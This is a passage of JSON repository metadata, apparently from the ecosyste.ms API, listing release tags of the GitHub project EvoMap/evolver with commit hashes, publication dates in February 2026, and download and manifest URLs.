6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.16.0/manifests"},{"name":"v1.15.0","sha":"e82d79d02c44522ad8194d4922170af2395b253c","kind":"tag","published_at":"2026-02-21T18:32:33.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.15.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"a0127ac5b4c7319d8bf5125f4bae24eae1a417ea","kind":"tag","published_at":"2026-02-18T20:47:18.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.14.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.14.0/manifests"},{"name":"v1.13.3","sha":"43799742ce523a5b8257842513876ef683f75083","kind":"tag","published_at":"2026-02-18T20:46:28.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.13.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.3/manifests"},{"name":"v1.13.2","sha":"8b40d3d9ae097173c2d57172d9b26cc89fcc56a5","kind":"tag","published_at":"2026-02-18T10:40:04.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.13.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.2/manifests"},{"name":"v1.13.1","sha":"b2247d7ddb6cfdf44a3cfa45f73535342e92fd88","kind":"commit","published_at":"2026-02-18T03:59:56.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.13.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"ea0d20e6081625d1a187356f326d8432f9f788bb","kind":"tag","published_at":"2026-02-15T11:44:12.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.13.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.13.0/manifests"},{"name":"v1.12.3","sha":"b4127dcd18b24617f710a9968ddaba64fbe83016","kind":"tag","published_at":"2026-02-14T14:23:58.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.12.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.3/manifests"},{"name":"v1.12.2","sha":"ea27157b0f0daed77a272a3eb683ae548f30aef4","kind":"tag","published_at":"2026-02-13T16:59:18.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.12.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.2/manifests"},{"name":"v1.12.1","sha":"9fc8dc606a5c7bf1300e8d37846a4e0142be9a26","kind":"tag","published_at":"2026-02-13T16:19:55.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.12.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"0a399884ba1d31d30510ab65c512b0b5b590ded2","kind":"tag","published_at":"2026-02-13T16:12:47.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.12.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.12.0/manifests"},{"name":"v1.11.1","sha":"b17f487189e6e64d7b8abd6a886ad99ba0821744","kind":"tag","published_at":"2026-02-13T15:55:46.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.11.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.11.1/manifests"},{"name":"v1.11.0","sha":"480a676aa6d906f347e72a45d0e4d1698bfed113","kind":"tag","published_at":"2026-02-13T15:31:40.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.11.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.11.0/manifests"},{"name":"v1.10.15","sha":"8a7a94bf3a52efd2b9083ff51e0bb864803d5a78","kind":"tag","published_at":"2026-02-13T13:17:57.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.15","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.15/manifests"},{"name":"v1.10.14","sha":"aaa3b240195a1c2dca439be6a59153e9e8095c00","kind":"tag","published_at":"2026-02-13T13:12:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.14","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.14/manifests"},{"name":"v1.10.13","sha":"814225caa94f196be5b16c637319010997a3268e","kind":"tag","published_at":"2026-02-13T11:19:11.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.13","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.13/manifests"},{"name":"v1.10.12","sha":"750a465dbcff90a1050ce3d2f8d5d5ab18ab0a4f","kind":"tag","published_at":"2026-02-13T09:53:10.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.12","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.12/manifests"},{"name":"v1.10.11","sha":"f80777348c0099a7e4d2b9e38a6a72e3c53d1944","kind":"tag","published_at":"2026-02-13T09:43:21.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.11","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.11/manifests"},{"name":"v1.10.10","sha":"cecc53bab5a5b5f35cdef4563ceb93881e685c82","kind":"tag","published_at":"2026-02-13T09:31:14.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.10","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.10/manifests"},{"name":"v1.10.9","sha":"03ed73ca97d40c03bc392ed4e1680c8fa2a14e2d","kind":"tag","published_at":"2026-02-13T08:04:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.9","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.9/manifests"},{"name":"v1.10.8","sha":"d0c86eaa820541c88e30139e647ab435d2e14961","kind":"tag","published_at":"2026-02-13T02:02:16.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.8","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.8/manifests"},{"name":"v1.10.7","sha":"027062efd7d866fb966b0f004c39880e2c15a58d","kind":"tag","published_at":"2026-02-12T14:42:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.7","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.7/manifests"},{"name":"v1.10.6","sha":"042fdae6de7235616ce08710ef6608cd783a7368","kind":"tag","published_at":"2026-02-12T14:08:47.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.6","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.6/manifests"},{"name":"v1.10.5","sha":"14581a4c0344115fb90c7db676d8de251258b65f","kind":"tag","published_at":"2026-02-11T16:45:15.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.5/manifests"},{"name":"v1.10.4","sha":"84eabccaf0c1498f024c3dfa8762e2a36c48f45d","kind":"tag","published_at":"2026-02-11T16:12:41.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.4/manifests"},{"name":"v1.10.3","sha":"a9c7e535d2a0c74caeb7d0ff629c2e1d5f2daba7","kind":"tag","published_at":"2026-02-11T08:43:12.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.3/manifests"},{"name":"v1.10.1","sha":"c52b6529f8471b50bc649b45d0dd34a2f8baf9b7","kind":"tag","published_at":"2026-02-11T00:31:16.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.1/manifests"},{"name":"v1.10.0","sha":"27f26cc1067c666ffefd4a0acee552fe03ae1722","kind":"tag","published_at":"2026-02-10T13:29:19.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.10.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.10.0/manifests"},{"name":"v1.9.2","sha":"105cd5b29a653e557f2d6a424c0e711972544fca","kind":"tag","published_at":"2026-02-10T04:38:22.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.9.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.9.2/manifests"},{"name":"v1.9.1","sha":"0b726e136c8a1e7289cbc1236e18b41bba034401","kind":"tag","published_at":"2026-02-09T23:56:18.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.9.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.9.1/manifests"},{"name":"v1.8.6","sha":"223c987a08f5393961c32b97756bd097f28d7101","kind":"tag","published_at":"2026-02-09T15:21:44.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.6","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.6/manifests"},{"name":"v1.8.5","sha":"35f6c1f2ae98a8a66630fa27d6b22f3740fbfc36","kind":"tag","published_at":"2026-02-09T15:00:51.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.5","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.5/manifests"},{"name":"v1.8.4","sha":"6a685f347880123c7762e06ebfe2c67fd374975f","kind":"tag","published_at":"2026-02-09T12:46:26.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.4/manifests"},{"name":"v1.8.3","sha":"f38ba9b4a1ed93d803ad0bdcee415e0383b2889b","kind":"tag","published_at":"2026-02-09T07:59:41.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.3/manifests"},{"name":"v1.8.2","sha":"ec140479be6e83eab3f5097e59df601d7eb30f1d","kind":"tag","published_at":"2026-02-09T07:55:04.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.2/manifests"},{"name":"v1.8.1","sha":"d0ff332d6ba166e184bdd5ec5043ab46931886c3","kind":"tag","published_at":"2026-02-09T07:47:43.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"8addbbb17090c056f93b044ee53d8ade9b17785c","kind":"tag","published_at":"2026-02-09T06:41:22.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.8.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.8.0/manifests"},{"name":"v1.7.3","sha":"8344e3959f1e00384841937e0bd512fbd8a44fb7","kind":"tag","published_at":"2026-02-08T15:02:04.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.7.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.7.3/manifests"},{"name":"v1.7.1","sha":"2a5d40978914d7301c92da4194efde0602542f47","kind":"tag","published_at":"2026-02-08T14:51:48.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.7.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"6793e521bba2b529182b7c86f7acae5511670e61","kind":"commit","published_at":"2026-02-08T06:14:59.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.7.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.7.0/manifests"},{"name":"v1.6.2","sha":"2134555f4864a69c1275e483a7315fde32326f82","kind":"tag","published_at":"2026-02-07T14:06:24.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.6.2","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"9a8aa341839b423eb75be21312b0f3f7a6b66204","kind":"tag","published_at":"2026-02-07T13:36:14.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.6.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"1c61154600640cf676ded7f7b6b24d9b8cc384cc","kind":"tag","published_at":"2026-02-07T12:43:35.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.6.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.6.0/manifests"},{"name":"v1.5.1","sha":"3af5acf0849c9b2bd8f1ec1dfcf6f268532905af","kind":"tag","published_at":"2026-02-07T11:35:50.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.5.1","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"dee3d28259bef4e3e202570ef34983811444f224","kind":"tag","published_at":"2026-02-07T07:19:04.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.5.0","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.5.0/manifests"},{"name":"v1.4.4","sha":"ae4401767ea5dbdf1236817a617fa170b1a05361","kind":"tag","published_at":"2026-02-06T13:00:21.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.4.4","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"a83462a79bad83db488efbc26800e8e5e83f3a7e","kind":"tag","published_at":"2026-02-06T12:43:27.000Z","download_url":"https://codeload.github.com/EvoMap/evolver/tar.gz/v1.4.3","html_url":"https://github.com/EvoMap/evolver/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/EvoMap/evolver@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/